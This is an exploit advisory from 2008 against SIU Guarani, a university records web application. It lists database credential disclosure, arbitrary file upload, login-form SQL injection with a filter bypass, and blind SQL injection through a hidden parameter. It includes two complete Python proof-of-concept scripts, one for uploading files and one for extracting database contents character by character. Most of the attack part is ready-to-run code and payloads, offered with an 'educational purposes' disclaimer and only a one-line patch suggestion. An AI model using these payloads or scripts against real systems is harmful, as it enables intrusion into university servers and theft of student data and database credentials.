# # # # ### # ## ##### multiple remote vulnerabilities ############ siu guarani ###### ## # ## # general information ------------------- bug type : multiple remote vulnerabilities software name : SIU Guarani vendor : SIU (www.siu.edu.ar) authors : proudhon & Ubik date : the 341st day of the year 2008 contact : N/A description : SIU-Guarani is a web application which keeps information about academic activities. It's widely used in Argentina by national universities. for more information, contact the vendor's web page. disclaimer --------- all the information and code given in this document is provided "as is", for educational purposes only. the authors will not be responsible for any damage. technical information --------------------- disclosure of database information ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ you can get some of the database information, such as user and password, used by Guarani. this bug is almost fixed by the vendor. http://guarani_server/includes/elegirConexion.php file upload ^^^^^^^^^^^ given a valid phpsessid, you can upload files to the server. this bug is fixed in some versions. http://guarani_server/a_docentes/subirArchivo.php sql injection ^^^^^^^^^^^^^ http://guarani_server/w_inicial.php OR http://guarani_server/inicial.php Username (Identificacion): ' || (SQL Statement) || ' Password (Clave): **** (anything) example: Username (Identificacion): ' || DBINFO('dbhostname') || ' Password (Clave): **** (anything) just remember they are using Informix! sql injection is partialy solved in some places. in order to fool some protections, such as "[Informix]An illegal character has been found in the statement.", you can use %27 instead of '. blind sql injection ^^^^^^^^^^^^^^^^^^^ hidden parameter "operacion" in: http://guarani_server/a_general/verMensajes.php http://guarani_server/a_general/autentificarse.php ... and probably more! example (via POST): http://guarani_server/a_general/verMensajes.php?operacion=op0001' || (case when 10<1 then '1' else '2' end) || ' another example (in autentificarse.php): operacion=op0001' || (SELECT '1' FROM systables where tabid = 1) || ' (no error, because it returns a single value) operacion=op0001' || (SELECT '1' FROM systables where tabid <> 1) || ' (error, because there are multiple results) patchs / work arounds --------------------- among other things, the function which loads the foreign parameters should check for special characters. the software itself seems to be pretty buggy, releasing the software code under a license like BSD or GPL would help to improve its security. proof of concept ---------------- file upload ^^^^^^^^^^^ #!/bin/python # target : SIU Guarani # file : 4790 # quote : "el poporembo como una flor", quintin # disclaimer : all the information and code given in this document is provided "as is", for educational purposes only. the authors will not be # responsible for any damage. import pycurl import StringIO import sys if len(sys.argv) < 3: print "SIU guarani file upload" print "usage : " + sys.argv[0] + " " print "example : " + sys.argv[0] + " someuni.edu.ar/somedir someporn.jpg" sys.exit(1) print "getting phpsessid.." c = pycurl.Curl() c.setopt(c.URL, "http://" + sys.argv[1] + "/inicial.php") c.setopt(c.COOKIEJAR, "/tmp/guaranicookie") c.setopt(c.WRITEFUNCTION, (lambda x : None)) c.perform() c.close() print "uploading file.." r = StringIO.StringIO() c = pycurl.Curl() c.setopt(c.POST, 1) c.setopt(c.URL, "http://" + sys.argv[1] + "/a_docentes/subirArchivo.php") c.setopt(c.HTTPPOST, [("archivo", (c.FORM_FILE, sys.argv[2]))]) c.setopt(c.COOKIEFILE, "/tmp/guaranicookie") c.setopt(c.WRITEFUNCTION, r.write) c.perform() r.seek(0) s = r.read() r.close() c.close() s = (s.split("'../library/bajarArchivo.php?qs="))[1] s = (s.split("'"))[0] print "your download link is http://" + sys.argv[1] + "/library/bajarArchivo.php?qs=" + s print "in order to download the file, first you'll need to join http://" + sys.argv[1] + "/ with your web browser" # EOF bind sql injection ^^^^^^^^^^^^^^^^^^ #!/bin/python # target : SIU Guarani # file : 4791 # quote : "el poporembo como una flor", quintin # disclaimer : all the information and code given in this document is provided "as is", for educational purposes only. the authors will not be # responsible for any damage. import pycurl import StringIO import sys def dic_sql(s, i, x, y): num = "SUBSTRING(" + s + " FROM " + str(i) + " FOR 1)" return "(" + num + " >= '" + chr(x) + "') AND (" + num + " <= '" + chr(y) + "')" maxsize = 32 if len(sys.argv) < 3: print "SIU guarani blind sql execution" print "usage : " + sys.argv[0] + " [maxsize=32]" print "example : " + sys.argv[0] + " http://someuni.edu.ar/somedir USER" print "remember, it's an informix database" print "https support!" sys.exit(1) if len(sys.argv) > 3: maxsize = int(sys.argv[3]) print "getting phpsessid.." c = pycurl.Curl() if (sys.argv[1][0:5] == "https"): c.setopt(c.SSL_VERIFYPEER, 0) c.setopt(c.URL, sys.argv[1] + "/inicial.php") c.setopt(c.COOKIEJAR, "/tmp/guaranicookie") c.setopt(c.WRITEFUNCTION, (lambda x : None)) c.perform() c.close() print "cracking sql result.." for l in range(1, maxsize + 1): i = 48 f = 125 c = pycurl.Curl() r = StringIO.StringIO() if (sys.argv[1][0:5] == "https"): c.setopt(c.SSL_VERIFYPEER, 0) c.setopt(c.POST, 1) c.setopt(c.URL, sys.argv[1] + "/a_general/verMensajes.php") c.setopt(c.COOKIEFILE, "/tmp/guaranicookie") c.setopt(c.WRITEFUNCTION, r.write) while i <> f: sql = dic_sql(sys.argv[2], l, i, i+(f-i)/2) c.setopt(c.HTTPPOST, [("operacion", "gda0011' || case when (" + sql + ") then '1' else '2' end || '"), ("ver", "T")]) c.perform() r.seek(0) s = r.read() r.truncate(0) if len(s) == 0: print "uhm... looks like a wrong sql string!" sys.exit(1) if len(s.split("No hay mensajes.")) > 1 or len(s.split("Anuncio")) > 1: f = i + (f - i) / 2 else: i = i + (f - i) / 2 + 1 r.close() c.close() if i == 125: break sys.stdout.write(chr(i)) sys.stdout.flush() sys.stdout.write('\n') # EOF